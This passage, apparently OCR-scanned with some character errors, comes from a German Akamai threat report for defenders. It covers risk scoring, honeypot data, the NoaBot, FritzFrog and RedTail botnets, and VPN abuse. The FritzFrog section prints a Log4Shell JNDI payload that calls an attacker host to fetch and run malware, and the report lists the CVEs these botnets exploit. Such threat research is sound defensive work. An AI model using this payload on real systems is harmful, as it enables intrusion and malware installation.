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Ein ,State of the Internet“-Bericht flir Abwehrspezialisten

Dies ist kein durchschnittlicher ,State of the Internet-“ oder kurz ,SOTI-Bericht®. Sie werden wahrscheinlich
einige grundlegende Unterschiede zwischen dieser Ausgabe und unseren friiheren Veroffentlichungen
feststellen. Das liegt daran, dass wir uns dieses Mal nicht mit allgemeinen Informationen befassen, sondern
direkt mit den Leuten an der Front sprechen: den Verteidigern.

Wir haben die verschiedenen Sicherheitsforschungsteams von Akamai zusammengebracht, um ihr hart
erarbeitetes, praxiserprobtes Wissen zu teilen. Es sind mehrere Gruppen von Cybersicherheitsexperten
vertreten: Forscher, Betriebsexperten, Produktarchitekten, Datenwissenschaftler und
Vorfallsreaktionsexperten.

Unser Ziel ist einfach: Wir wollen Sie mit den realen Strategien ausstatten, die Sie 2025 zum Schutz lhrer
Systeme vorimmer komplexeren digitalen Bedrohungen benétigen. Dieser Bericht enthalt umsetzbare
Erkenntnisse von echten Cybersicherheitsexperten, die taglich gegen Bedrohungen kampfen. Wir bieten
|lhnen praktische Informationen, die Sie sofort nutzen konnen.

Damit dieses Dokument flr die gesamte Sicherheitscommunity nutzlich ist, haben wir unsere
Forschungsergebnisse dem ,Security-in-Depth*“-Framework (Tiefgreifende Sicherheit) zugeordnet,
einer Erweiterung der ,Defense-in-Deep-Methodik* (Gestaffelte Sicherheit).

Der Rest unserer SOTI-Berichte in diesem Jahr wird in unserem gewohnten
Format stattfinden. Doch dieser Bericht hier?
Der ist speziell flir Abwehrspezialisten.

—
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Tiefgreifendes Sicherheitsframework

Das Konzept der ,Tiefgreifenden Sicherheit® stellt eine Weiterentwicklung des gestaffelten
Sicherheitskonzepts dar, die 2019 entwickelt wurde und Datenwissenschaft und -analyse in etablierte
Cybersicherheitspraktiken integriert. Wahrend das gestaffelte Sicherheitskonzept Sicherheitsebenen
implementiert, um Assets zu schiitzen, verbessert tiefgreifende Sicherheit diese Grundlage, indem sie
Analysen nutzt, um verborgene Bedrohungen zu erkennen und die Effektivitat der Verteidigung zu
bewerten. So kann sie potenzielle Angriffe oft erkennen, bevor sie vollstandig zum Tragen kommen.

Tiefgreifende Sicherheit schiutzt Unternehmen durch mehrere, sich Uberschneidende
Verteidigungsebenen und erkennt dabei an, dass keine einzelne SicherheitsmaBnahme absolut fehlerfrei
ist. Diese Strategie umfasst physische Sicherheit (Sperren, Uberwachung), Netzwerkarchitektur
(Firewalls, Intrusion Detection), Endpoint-Schutz (Virenschutz, Verschlisselung), Zugriffskontrollen und
Host-Sicherheit (Multi-Faktor-Authentifizierung, rollenbasierte Berechtigungen), Datensicherung und
Risikomanagement (Verschlisselung, Backups) sowie administrative MaBnahmen
(Sicherheitsrichtlinien, Mitarbeiterschulungen).

Wir haben dieses Framework genutzt, um die Forschung in diesem Bericht zu strukturieren und die
Probleme anzugehen, mit denen Verteidigungsteams taglich konfrontiert sind. In diesem SOTI-Bericht
haben wir uns auf die folgenden Sicherheitselemente konzentriert:

Risikomanagement identifiziert, bewertet und mindert
Bedrohungen systematisch und priorisiert die Reaktion
hierbei basierend auf Wahrscheinlichkeit und Auswirkungen,
um die Anfalligkeit des Unternehmens zu verringern.

Netzwerkarchitektur implementiert mehrschichtige
Sicherheit durch Firewalls, Segmentierung und
Zugriffskontrollen, um Verteidigungsbarrieren zu schaffen
und potenzielle Sicherheitsverletzungen einzudammen.

Host-Sicherheit schiitzt einzelne Gerate durch
Systemupdates, Virenschutz, Firewalls und Zugriffskontrollen,
um unbefugten Zugriff oder Malware-Installationen auf
Endgeraten zu verhindern.
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Risikomanagement

Wir haben verfolgt, wie sich Cyberbedrohungen verandern - ebenso wie die Risiken,
die sie mit sich bringen. Durch die genaue Uberwachung des Internettraffics und die
Einrichtung spezieller Erkennungssysteme haben wir viel lber die Entwicklung der
Bedrohungslandschaft erfahren. Und noch mehr haben wir durch verschiedene
Projekte gelernt, wie z. B. die Erstellung eines internen Risikobewertungsprozesses,
der spater in unser Segmentierungsprodukt implementiert wurde.

Im Jahr 2024 haben wir alles Mogliche erlebt: von einfachen Botnets wie NoaBot, die
gestohlene Passworter verwenden, bis hin zu komplexeren Hackergruppen wie
RedTail, die brandneue Softwareschwachstellen ausnutzen. Die
Cyberbedrohungslandschaft wird immer vielfaltiger und ausgefeilter, was die
Verteidigung immer schwieriger macht. In diesem Abschnitt zum Risikomanagement
des tiefgreifenden Sicherheitsframeworks stellen wir unsere Untersuchungen zum
Risikobewertungsverfahren und zur Metamorphose von Malware vor.

Risikobewertung

Risikobewertungen sind seit Jahren ein schwieriges Thema in der Sicherheitsbranche.
Das Konzept wird zwar gemeinhin als nutzlich erachtet, doch die tatsachliche
Umsetzung stellt eine groBe Herausforderung dar. Das Risikoregister fallt fur jedes
Unternehmen anders aus, was eine Verallgemeinerung fast unmaoglich macht - ganz zu
schweigen davon, die Risiken anderswo zu replizieren.

Herausforderungen beim Erstellen eines Risikoregisters

Wir haben in diesem Jahr bei Akamai die schwierige Aufgabe gehabt, ein Modul zur
Bewertung der Netzwerksicherheit zu erstellen - und dabei haben wir einiges gelernt.
Letztendlich haben wir festgestellt, dass die Maximierung der Wirkung und die Minimierung
der Ressourcen fur eine effektive Risikobewertungsmethode entscheidend sind. Dies ist
keine einfache Aufgabe, sondern umfasst mehrere Schllisselfaktoren, darunter:

* Risiko definieren: Wie definieren Sie das Risiko, das mit einer Maschine oder
Anwendung verbunden ist? Ist sie mit dem Internet verbunden? Ist sie gepatcht?
Welche Ports sind offen? Wie viele Computer kdnnen darauf zugreifen?

* Bedeutung der Anwendung bestimmen: Wie bestimmen Sie die relative Bedeutung
der Anwendung? Handelt es sich um eine kritische Anwendung? Verfligt sie Uber
zahlreiche Verbindungen, die zusatzliche Risiken mit sich bringen?

* AbhilfemalBnahmen anwenden: Welche MalBhahmen sind erforderlich, um diese
Risiken zu mindern? Was kdnnen Sie mit Segmentierung erreichen, und welche
Auswirkungen wird sie haben?

*  Komplexitat bewerten: Wie kompliziert wird es sein, diese Wirkung zu erreichen?
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Je nach GroBe und Qualitat Inres Cybersicherheitsprogramms konnen Sie den nachsten
Schritt machen, der fur Ihr Unternehmen relevant ist. Fiir unsere Zwecke haben wir -
nachdem wir diese Fragen beantworten konnten, um diese Herausforderungen zu
bewaltigen - ein Tool entwickelt, das eine Liste von MaBnahmen enthielt, die nach
Auswirkungen, Kritikalitat, erforderlichem Aufwand oder einer Kombination dieser
Kriterien priorisiert wurden.

Quantifizierung externer und interner Risiken

Das Ziel der Sicherheitsbewertung besteht darin, das Risiko zu quantifizieren, das von
einem Angreifer verursacht wird, der von auBen in das Netzwerk eindringt. Beispielsweise
berechnen wir unser Risiko basierend darauf, wie wahrscheinlich die Gefahrdung extern
zuganglicher Assets und die anschlieBende laterale Netzwerkbewegung zu internen Assets
sind. Die Sicherheitsbewertung eines Endpunkts kann als die erwartete Anzahl erfolgreicher
Angriffsvektoren betrachtet werden, die mit der NetzwerkgroRe steigt.

Das berechnete externe Risiko eines Endgerats hangt von dem Risiko jedes seiner mit dem
Internet verbundenen Listening-Services ab. Dieser Wert wird anhand des Ausmaf3es der
Gefahrdung (egal, ob unbegrenzt oder auf einen bestimmten Bereich beschrankt) und der
potenziellen Ausnutzbarkeit des Service oder Protokolls bestimmt. Die Ausnutzbarkeit eines
Dienstes hangt von seiner Beliebtheit bei Angreifern ab — was aus Berichten wie denen der
Cybersecurity and Infrastructure Security Agency oder aus den Exploit-Markten im

Dark Web ersichtlich ist. Ein weiterer Faktor ist der Schweregrad der Schwachstellen, die in
der spezifischen, auf dem jeweiligen Server installierten Version zu finden sind.

Das berechnete interne Risiko eines Endpunkts hangt vom Gefahrdungsgrad seiner
einzelnen Listening-Services ab, die mit anderen internen Endpunkten verbunden sind.
Dieser Wert wird durch Berticksichtigung der Netzwerkrichtlinie, des externen Risikos,
das mit jedem Endpunkt verbunden ist, und der potenziellen Ausnutzbarkeit des Service
oder Protokolls bestimmt.

Wie AbwehrmaBnahmen ausgewahlt werden

Fur jeden Endpunkt isolieren wir die additiven Auswirkungen anderer Endpunkte
(interne Anwendung, Subnetze usw.) auf die endgliltige Bewertung. Falls erforderlich
empfehlen wir, spezifische Segmentierungsregeln hinzuzufligen, die die Gefahrdung
anderer Endpunkte durch diesen Endpunkt begrenzen. So isolieren wir beispielsweise
die Auswirkungen eines bestimmten Service und begrenzen dieses Servicerisiko
basierend auf Echtzeitdaten. Wenn Schwachstellen fur diesen Service identifiziert
werden, kann diese Empfehlung das Risiko reduzieren und potenzielle Ausfallzeiten
zwischen Patches vermeiden.
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Skalierung und Auswertung

Eine der wichtigsten Sicherheitsbedrohungen sind mit dem Internet verbundene Server
und die Services, die darauf laufen. Sie bieten Cyberkriminellen, die das jeweilige
Unternehmen ins Visier nehmen, eine direkte Moglichkeit, es anzugreifen. Bei der
Entwicklung der Sicherheitsbewertung wollten wir sicherstellen, dass sich Netzwerke
und/oder Server mit geringfligiger Internetverbindung von denen unterscheiden, die zu
sehr angebunden sind. Hierzu haben wir analysiert, wie die Anzahl der Services verteilt
ist, die pro Server mit dem Internet verbunden sind (Abbildung 1).

Verteilung der Anzahl internetverbundener Services pro Server

100,0 % 96.87%
,0 7%

10,0 %
2,24%

10%
0,66 %

Wahrscheinlichkeit

014 %
01%
0,06 %

0,02%

0 1 [2,3] [4,7] [8,15] [16, 31]

Anzahl der Services

Abb. 1: Statistiken zur Internetverbindung, die zur Gestaltung von Bewertungsformeln verwendet werden

An einer kleinen Untergruppe von Servern, die Datenverkehr aus dem Internet akzeptieren

(3 % der gesamten Server), sehen wir, dass die meisten nur einen Service angeben, wobei ein
Service ein eindeutiger Prozess oder Windows-Dienstname ist. Nur ein sehr kleiner Teil dieser
Untergruppe (0,22 % aller Server) setzt vier oder mehr Services dem Internet aus. Ohne eine
ordnungsgemaie Segmentierung zwischen innen und dem Netzwerk stellen diese Server
eine Angriffsmethode mit hohem Risiko dar. Ein weiterer wichtiger Sicherheitsaspekt des
Netzwerks ist die interne Gefahrdung, d. h. der Zugriff auf die Dienste eines Servers durch die
Ubrigen Server innerhalb des Netzwerks (unabhangig vom Internetzugang).

Bei der Analyse dieser Gefahrdung in realen Netzwerken kdnnen wir feststellen, dass
die Giberwiegende Mehrheit der Services (mehr als 80 %) von einem sehr kleinen
Bruchteil des Netzwerks (weniger als 1von 10.000) kontaktiert wird. Dies wird im
gesamten Bericht als Gefédhrdungsverhéltnis bezeichnet (Abbildung 2). Nur ein kleiner
Teil der Server (0,1 %) sollte von groBen Teilen des Netzwerks (10 % und mehr) erreicht
werden. Diese Infrastrukturserver sollten aufgrund ihrer potenziellen Auswirkungen auf
die Sicherheit des Unternehmens mit besonderer Sorgfalt geschitzt werden.
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Verteilung des Gefahrdungsverhiltnisses interner Services
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Anzahl der Clients / NetzwerkgroBe
Abb. 2: Analyse des Gefahrdungsverhéltnisses

Als abschlieBende Analyse haben wir die Beziehung zwischen der Sicherheitsbewertung eines
Netzwerks und dem Fortschritt bei der Konfiguration von Sicherheitsrichtlinien fiir seine Server
untersucht. Zunachst haben wir die durchschnittliche Sicherheitsbewertung fiir verschiedene
Netzwerke Uber verschiedene Zeitraume berechnet, in denen die Bereitstellung stabil war
(keine groBeren Anderungen an der NetzwerkgréBe oder der Anzahl von Schutz-Agents).
AnschlieBend wurde das Verhaltnis der Server berechnet, flir die eine Segmentierungsvorlage
angewendet wurde. In den meisten Netzwerken verbesserte die Konfiguration zusatzlicher
Segmentierungsregeln auch die Sicherheit (Abbildung 3). Diese Tatsache starkt unser
Vertrauen in die Sicherheitsbewertung und ihr Potenzial, den Sicherheitsbetrieb zu lenken.

Sicherheitsbewertungen und das Verhaltnis geschiitzter Server
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Sicherheitsbewertung

10-2 1071
Verhéltnis geschiitzter Server

Abb. 3: Sicherheitsbewertungen realer Netzwerke im Vergleich zum Verhéltnis geschlitzter Server
(die verschiedenen Farben kennzeichnen unterschiedliche Kundenumgebungen)

Wahrend Sicherheitsexperten Richtlinien flir Netzwerke erstellen, bendtigen sie haufig
Feedback zur Effektivitat der bestehenden Richtlinien sowie Empfehlungen fiir die
nachsten Verbesserungen. Das flihrt zu evidenzbasierten Risikobewertungen, die
Nutzerverhaltensanalysen fur Inr Netzwerk ahneln. Eine Moglichkeit, dieses Feedback zu
erhalten, besteht darin, eine Methode wie Mikrosegmentierung zu verwenden, die sehr
detaillierte Richtlinien unterstutzt und priorisierte Empfehlungen ausgeben kann, die die
wichtigsten Risikofaktoren fur jede Netzwerkanwendung berticksichtigen.
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Malware-Metamorphose

Cybersicherheit zu gewahrleisten, wird immer schwieriger. Cyberangriffe sind heute fur
Amateure einfacher zu starten, wahrend spezialisierte Hackergruppen immer besser
ausgebildet werden. Der Aufstieg kiinstlicher Intelligenz verschlimmert die Situation, da
Angreifer hiermit machtigere Tools erhalten, die auch noch einfacher zu bedienen sind.
Entsprechend sind Unternehmen mit einer unvorhersehbaren und gefahrlicheren
digitalen Bedrohungslandschaft konfrontiert als je zuvor.

Am haufigsten angegriffene offene Services

Wahrend Cyberkriminelle Zero-Day- und gezielte Angriffe nutzen kdnnen, umin
Netzwerke einzudringen, gibt es flr Botnets weitaus einfachere Moglichkeiten, Systeme in
groBerem Umfang zu infizieren. Es gibt eine Vielzahl von Servern im Internet mit offenen
Ports, die fiir laterale Netzwerkbewegung und Logins geeignet sind — und einige von
ihnen nutzen auch noch vorhersehbare Anmeldedaten, die liber Credential Stuffing
geknackt werden kdnnen. Wir haben 2024 Giber mehrere Botnets berichtet, darunter
NoaBot (eine Mirai-Variante) und neue Versionen der Botnets FritzFrog und RedTalil.

Abbildung 4 zeigt eine Shodan-Abfrage nach SSH-Servern (Secure Socket Shell), die mit
dem Internet verbunden sind. Hierbei werden Millionen von Servern erkannt, die potenziell
Opfer dieser Angriffe werden kdnnen.

Gesamtergebnisse
22.472.219

Top-Lander

USA 6.241.486

Deutschland 2.084.734

China 1987890

Brasilien 1227285

Argentinien 899.565

Abb. 4: Seit Anfang 2025 sind mehr als 20 Millionen Server per SSH tiber das
Internet zuganglich (Quelle: Shodan.io)
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Da es sich hierbei um eine anhaltende Bedrohung handelt, wollten wir wissen, welche
gemeinsamen Ports und Services am meisten anvisiert werden. Deshalb haben wir
unsere Honeypots untersucht, um die Prioritaten fir Netzwerkadministratoren 2025 zu
ermitteln. Abbildung 5 zeigt die Vorfallstrends, die wir 2024 in unseren Honeypots fur
die gangigsten offenen Ports beobachtet haben.

Vorfallstrends pro Protokoll im Zeitverlauf (monatlich)

Protokoll
FTP
HTTP

—— MSRPC
— MSSQL
— MYSQL
— NetBIOS
—— RDP
scP
~—— SMB
—— SSH
WinRM

Vorfallstrends

Januar Marz Mai Juli September November
Abb. 5: Vorfallstrends flir alle géngigen offenen Ports/Protokolle im Jahr 2024

Wir konnen sehen, dass Angriffe liber Server Message Block (SMB), Remote Desktop
Protocol (RDP) und SSH fast Uiber den gesamten Verlauf von 2024 am haufigsten
auftraten. Das ist keineswegs Uberraschend, da dies die einfachsten Protokolle fur laterale
Netzwerkbewegung sind (sowie One-Day-Bedrohungen, fiir SMB und EternalBlue). Die
tatsachliche Verteilung der Angriffe auf die Portsistin Abbildung 6 dargestellt.

Honeypot-Vorfille - Protokollverteilung

scp RDP
13% 145%

2,7% NetBIOS

36% MYSQL

2.2% MSSQL

36% MSRPC

01% HTTP
09% FTP
01% WinRM

SMB 58,0 % 129% SSH

Abb. 6: Verteilung erkannter Angriffe auf verschiedene Protokolle
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Weitere Informationen zu Botnets

Botnets ermdglichen es Cyberkriminellen, ihre
Credential-Stuffing-Kampagnen zu automatisieren.
Indem ein Botnet standig Anmelde- oder Kontoseiten
mit Anmeldedaten anpingt, die aus dem Dark Web
erworben wurden, kdnnen Angreifer mit geringem
Aufwand Hunderttausende von Betrugsversuchen pro
Stunde durchfiihren. Weitere Informationen

Botnhet-Familien

Die Untersuchung von Botnets wie NoaBot (eine Mirai-Variante), FritzFrog (Golang-basiert)
und RedTail (ein Kryptominer) liefert wichtige Einblicke in die Weiterentwicklung von
Cyberbedrohungen. FritzFrogs fortschrittliche Funktionen - dateilose Malware, Peer-to-Peer-
Architektur und internes Netzwerk-Targeting - veranschaulichen ihre wachsende Raffinesse.
Diese Analyse hilft Sicherheitsteams, bessere AbwehrmafBnahmen gegen Botnet-Angriffe zu
entwickeln, die die globale Wirtschaft bis zu 116 Milliarden US-Dollar pro Jahr Kosten.

NoaBot

Das NoaBot-Botnet verfiigt liber die meisten Funktionen des urspriinglichen Mirai-Botnets

(z. B. ein Scannermodul und ein Angreifermodaul, ein verborgener Prozessname), doch es gibt
auch zahlreiche Unterschiede zum Original. Vor allem basiert der Malware-Spreader auf SSH
und nicht auf Telnet, wie es bei der ersten Mirai-lmplementierung der Fall war. NoaBot verfligt
auBBerdem uber eine andere Liste von Anmeldedaten, die bei Credential-Stuffing-Angriffen
verwendet werden kdnnen, und setzt nach einem erfolgreichen Eindringen viele Module ein.

Im Gegensatz zu Mirai, das normalerweise mit GCC kompiliert wird, wird NoaBot mit uClibc
kompiliert. Das scheint sich darauf auszuwirken, wie Virenschutz-Engines die Malware
erkennen. Wahrend andere Mirai-Varianten in der Regel mit einer Mirai-Signatur erkannt
werden, gehoren die Antiviren-Signaturen von NoaBot zu einem SSH-Scanner oder einem
generischen Trojaner.

Die Malware wird auch statisch kompiliert, und etwaige Symbole werden entfernt. Neben
der Tatsache, dass es sich um eine untypische Kompilierung handelt, war dies die Ursache
dafur, dass sich das Reverse Engineering der Malware als frustrierende Aufgabe erwies.

Bei neueren Varianten des Botnets wurde die Zeichenfolge ebenfalls verschleiert und nicht
als Klartext gespeichert. Das erschwerte die Extraktion von Details aus den Binardateien
und die Disassemblierung bestimmter Teile, die Codierung selbst war jedoch einfach und
leicht rlickzuentwickeln.
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SchlieBlich haben wir gesehen, dass dieselben C2-Server (Command and Control), die
NoaBot bedienen, auch ein anderes Botnet unterstlitzen: P2PInfect, ein sich selbst
replizierender Peer-to-Peer-Wurm, der in Rust geschrieben wurde. P2PInfect wurde
erstmals im Juli 2023 entdeckt, NoaBot-Aktivitaten werden hingegen seit Januar 2023
beobachtet. NoaBot ist also ungefahr sechs Monate lter als P2PInfect (Abbildung 7).

Vierteljahrliche Malware-Aktivitat
Januar 2023 bis Dezember 2024

Vorfallstrend

o) o) o] o) D D D D )
Vv v Vv Vv v v v v Vv
N .
@ ?gk N O\b \/o(\ \?Q\ W O\é 3
Startzeit

Abb. 7: NoaBot-Aktivitat im Zeitverlauf

Aufgrund ihrer technischen Ahnlichkeiten sind wir der Meinung, dass derselbe
Cyberkriminelle fiir beide Varianten verantwortlich ist. Es konnte sein, dass er sich
einfach an der Entwicklung einer eigenen Malware versucht hat oder dass die beiden
Botnets unterschiedliche Zwecke erfillen.

FritzFrog

FritzFrog ist ein komplexes, auf Golang basierendes Peer-to-Peer-Botnet, das sowohl
AMD- als auch ARM-basierte Maschinen unterstutzt. Wir haben es ursprtinglich 2020
entdeckt und daruiber berichtet, doch die Malware wird aktiv gepflegt und hat sich im
Laufe der Jahre durch Hinzufligen neuer und Verbessern bestehender Funktionen
weiterentwickelt.

Die neueste Erganzung des FritzFrog-Arsenals, die wir 2024 entdeckt haben, war ein
Log4Shell-Exploit, der eine Weiterentwicklung der traditionellen Infektionsmethode
(SSH Brute Force) darstellt. Die Schwachstelle Log4Shell wurde urspriinglich im
Dezember 2021 identifiziert und I0ste eine branchenweite Patching-Welle aus, die
monatelang anhielt. Auch heute, zwei Jahre spater, gibt es noch viele Anwendungen mit
Internetzugriff, die anfallig flir diesen Exploit sind (Abbildung 8)
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Log4Shell-Payload liber HTTP gesendet
${jndi:1dap:// <Frog_IP> /a}

y
K

Java-Klasse vom LDAP-Server herunterladen

| [«
i

FritzFrog-Host Opfer

payload.class

Java-Payload ladt die FritzFrog-Binardatei
herunter und fiihrt sie aus

[«
¥

R

FritzFrog

Abb. 8: FritzFrog-Log4Shell-Exploit-Prozess

Anfallige Ressourcen mit Internetzugriff sind ein ernstes Problem, aber FritzFrog stellt
auch flr andere Asset-Typen ein Risiko dar: interne Hosts. Als die Schwachstelle erstmals
entdeckt wurde, wurden wegen ihres erheblichen Gefahrdungsrisikos vorrangig
Anwendungen mit Internetzugriff gepatcht. Interne Maschinen, die weniger anfallig fiir
Exploits waren, wurden deswegen oft vernachladssigt und blieben ohne Patch. Diesen
Umstand nutzt FritzFrog jetzt aus. Im Rahmen ihrer Ubertragungsroutine versucht die
Malware, alle Hosts im internen Netzwerk anzugreifen.

Die neueren Varianten konnen auch Opfer besser erkennen: Neben der Randomisierung
von Internet-IP-Adressen und dem Versuch, diese anzugreifen, deckt die Malware auch
neue SSH-Ziele auf, indem sie authentifizierungsbezogene Protokolle und Konfigurationen
ihrer Opfer analysiert, darunter Authentifizierungsprotokolldateien, authorized_hosts-
Dateien und der Bash-Verlauf.

Es war auBerdem eine One-Day-Implementierung zur Berechtigungseskalation in die
Malware eingebettet (CVE-2021-4034). Diese Schwachstelle im polkit wurde 2022 von
Qualys offengelegt und ermoglichte eine Berechtigungseskalation auf allen Linux-
Computern, auf denen sie ausgefiihrt wurde. Da polkit standardmaBig auf den meisten
Linux-Distributionen installiert ist, sind viele ungepatchte Computer heute noch
anfallig fiir diese CVE.

RedTail

Die Cyberkriminellen hinter der Kryptomining-Malware von RedTail, die Anfang 2024
gemeldet wurde, haben die jiingste Schwachstelle in Palo Alto PAN-OS CVE-2024-
3400 inihr Toolkit integriert.

Dieser Kryptominer wurde erstmals im Dezember 2023 von Cyber Security
Associates (CSA) erwahnt und nach seinem Dateinamen .redtail benannt. CSA
veroffentlichte seinen Analysebericht im Januar 2024.
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Obwohl CSA berichtete, dass sich das Botnet per Log4Shell-Exploit ausbreitet, haben
unsere Sensoren die Ausnutzung verschiedener Schwachstellen erkannt. Unsere erste
Analyse betraf CVE-2024-3400, eine Schwachstelle, Uber die beliebige Dateien erstellt
werden konnen. Durch Festlegen eines bestimmten Werts im SESSID-Cookie wird
PAN-OS so manipuliert, dass eine nach diesem Wert benannte Datei erstellt wird. In
Kombination mit einer Pfaduberschreitung ermoglicht dies dem Angreifer, sowohl den
Dateinamen als auch das Verzeichnis zu kontrollieren, in dem die Datei gespeichertist.

Nach der Infektion ladt das Botnet eine nutzerdefinierte Variante des XMRig-
Kryptominers herunter. Anstatt offentlich verfligbare Tools zu verwenden, um nur einen
Miner zu generieren, haben die Cyberkriminellen hinter RedTail anscheinend den
Quellcode modifiziert und den Miner selbst kompiliert. Das ist daran zu erkennen, dass
die Mining-Konfiguration direkt in einem verschlisselten Format in die Payload
eingebettet wurde, um eine sofortige Erkennung zu vermeiden.

Die Malware setzt auch fortschrittliche Ausweich- und Persistenztechniken ein. Sie teilt
sich mehrmals, um eine Analyse zu behindern, indem sie ihren Prozess debuggt und jede
gefundene Instanz des GNU Debuggers (GDB) beendet. Um Persistenz zu schaffen, fligt
die Malware auch einen Cron-Job hinzu, um einen Systemneustart zu Uberstehen.

Neben der PAN-OS-CVE haben wir festgestellt, dass dieser Bedrohungsakteur auch
weitere CVEs anvisierte, darunter lvanti Connect Secure SSL-VPN CVE-2023-46805
und CVE-2024-21887, die Anfang 2024 veroffentlicht wurden. Weitere Schwachstellen,
die vom Angreifer ausgenutzt werden, umfassen:

*  TP-Link-Router (CVE-2023-1389)
*  VMware Workspace ONE Access and Identity Manager (CVE-2022-22954)
*  ThinkPHP Remote Code Execution (CVE-2018-20062)

*  ThinkPHP File Inclusion und Remote Code Execution Uber pearcmd, die 2022
veroffentlicht wurden

Relikte der Vergangenheit

Neben Botnets haben wir auch viel Traffic und viele Vorfalle von Malware-,Relikten®
gesehen, darunter inaktive Kampagnen mit wurmartiger Selbstverbreitung, die trotz
fehlendem C2-Server immer noch von Maschine zu Maschine springen (Abbildung 9).
Diese Wurm-Payloads greifen unsere Honeypots an und fiihren einige
Profilerstellungsbefehle aus, werfen aber keine anderen Payloads ab und greifen auch
nicht auf einen aktiven Server zu. Diese Relikte der Vergangenheit - von alten
EternalBlue-Wurmern bis hin zu alten Botnets wie yonnger2, die unsichere SQL-
Datenbanken infizieren - stellen zwar kein gro3es Risiko dar. Doch die Tatsache, dass sie
immer noch aktiv sind, bedeutet, dass es immer noch ausreichend anfallige Maschinen
gibt, die sie infizieren k6nnen.
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Aktivitat inaktiver Kampagnen 2024 (monatlich)

Vorfallstrend

Abb. 9: Aktivitdt wurméahnlicher Bedrohungen mit Selbstverbreitung ohne
aktiven C2-Serverim Jahr 2024

Die Analyse ergab auch, dass es Ransomware-Varianten gibt, die zwar theoretisch
veraltet sind, aber trotz dieser technischen Veraltung weiterhin auf opportunistische
Weise arbeiten. Diese ,Ransomware” (SQL-Wiper; Abbildung 10) stellt per Password
Spraying eine Verbindung zu unsicheren SQL-Datenbanken her, I6scht dort alle Daten
und hinterlasst eine neue Tabelle mit Anweisungen zum Senden von Bitcoin, um die
Daten zuriickzubekommen. (Es scheint jedoch nicht, als wiirden die Angreifer diese
Daten tatsachlich sichern, bevor sie sie I0schen. Sie zuriickzubekommen, kdnnte also
am Ende unmoglich sein.)

SQL-Wiper-Aktivitat 2024 (monatlich)

Vorfallstrend

Abb. 10: SOL-Wiper-Aktivitit, die Ransomware imitiert

Leitfaden fiir Abwehrspezialisten 2025 | Band 11, Ausgabe 01 Akamai.com | 14


https://www.akamai.com/de

@kamai

Da die Angreifer Bitcoin anfordern und in der Nachricht an das Opfer ihre Wallet-Adresse
angeben, konnen wir die Zahlungen verfolgen. Es scheint, dass sie mindestens 2,6 BTC mit
dieser Masche eingenommen haben, was zum Zeitpunkt dieses Berichts etwa 260.000 US-
Dollar entspricht.

Abwehrstrategien

Um diese Arten von Bedrohungen effektiv abzuwehren, konnen Unternehmen
Netzwerkzuordnung und -segmentierung einsetzen. Hiermit konnen sie kritische Systeme
identifizieren und isolieren und den Netzwerkzugriff auf und von diesen Systemen
beschranken, was im Falle eines erfolgreichen Angriffs die laterale Netzwerkbewegung von
Malware verhindert. Softwarebasierte Segmentierung schrankt auBerdem
Verwaltungsports ein. Segmentierung kann eingesetzt werden, um Richtlinien auf
Prozessebene zu erstellen und hierdurch die Angriffsflache fiir Attacken tber sensible
Ports zu reduzieren. Vorzugsweise sollten Unternehmen eine Losung verwenden, mit der
Richtlinien auf Prozessebene angewendet werden kdnnen. So konnen sie besser
bestimmen, welche Prozesse Uber sensible Verwaltungsports kommunizieren dirfen.

Erkennung der Botnets
Unser Team hat Tools entwickelt, mit denen Sie zwei dieser Botnets erkennen kénnen:
* Ein Erkennungsskript fur SSH-Server zur Identifizierung von FritzFrog-Indikatoren
* Eine Konfigurationsdatei flr Infection Monkey zum Testen von Umgebungen mit dem

SSH-Spreader von NoaBot

Weiterer Schutz

Dariiber hinaus kann Ihr Unternehmen die folgenden Ansatze zum Schutz vor Botnets
verwenden:

* Nutzen Sie einen mehrschichtigen Ansatz fur Cybersicherheit, um Bedrohungen in
verschiedenen Angriffsphasen und Bedrohungsumgebungen zu bekampfen.

* Halten Sie alle Software, Firmware und Betriebssysteme mit aktuellen
Sicherheitspatches auf dem neuesten Stand.

* Fuhren Sie regelmaBig Offline-Sicherungen wichtiger Daten durch
und erstellen Sie einen effektiven Disaster-Recovery- und
Vorfallsreaktionsplan.

y

* Fuhren Sie regelmaBig Awareness-Schulungen zum Thema
Cybersicherheit durch, um Mitarbeiter zu schulen. )
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e Netzwerkarchitektur

Bei moderner Netzwerksicherheit geht es nicht um Mauern, sondern um intelligenten,
adaptiven Schutz. Die Zeiten einfacher, flacher Netzwerkdesigns sind vorbei. Moderne
Netzwerke sind komplexe Netze aus APIs und fortschrittlichen Protokollen, die sowohl
Chancen als auch Herausforderungen flr die Cybersicherheit mit sich bringen.

Das Zusammenspiel zwischen Edge Computing und Kerninfrastruktur fuhrt hierbei
gleich zu mehreren potenziellen Risiken. Mit der zunehmenden Vernetzung von
Netzwerken wird ihre Verteidigung immer komplizierter.

In diesem Abschnitt zur Netzwerkarchitektur des tiefgreifenden Sicherheitsframeworks
werden die spezifischen Risiken von VPN-Missbrauch und Cross-Site Scripting untersucht.

VPN-Missbrauch

VPNs sind ein gutes Beispiel fiir die moderne Netzwerkarchitektur. Sie sind eine Medaille
mit zwei Seiten: VPNs sind zwar wichtig fur die Remotearbeit und halten Unternehmen am
Laufen, doch sie schaffen auch neue Einstiegspunkte fiir potenzielle Cyberangriffe.
Unternehmen miussen Konnektivitat und Sicherheit sorgfaltig aufeinander abstimmen
und verstehen, dass jede technologische Losung ihre eigenen Risiken mit sich bringt.

VPNs - der Einstiegspunkt zum Netzwerk

2024 war ein schwieriges Jahr fur die VPN-Sicherheit: Es scheint, als ob jede zweite \Woche
neue Angriffe gemeldet wurden, von denen einige aktiv lvanti Connect Secure- und Palo
Alto PAN-OS-Schwachstellen ausnutzten. Die Architekturanforderungen von VPN-
Appliances, die eine dauerhafte Internetverbindung bendtigen, machen sie besonders
attraktiv fur anspruchsvolle Angreifer, die ins gesamte Netzwerk eindringen wollen.

Das strukturelle Design von VPNs erfordert eine offene Netzwerkschnittstelle und schafft so
eine intrinsische Schwachstelle, die schadliche Agents systematisch als potenziellen
Einstiegspunkt in die Okosysteme des Unternehmensnetzwerks ausnutzen kénnen. Dieses
(boswillige) Interesse an VPN-Appliances ist fiir Verteidiger ein doppeltes Problem, da VPNs
meist in einer Blackbox-Appliance erhaltlich sind. Deshalb haben Verteidigungsteamsim
Allgemeinen keine Ahnung, was auf dem Gerat vor sich geht, sofern esihnen nichtin
Verwaltungsportal oder Konsole angezeigt wird. Angreifer hingegen konnen die nétige Zeit
und Muhe aufwenden, die Appliance zu knacken, den VPN-Server rlickzuentwickeln und die
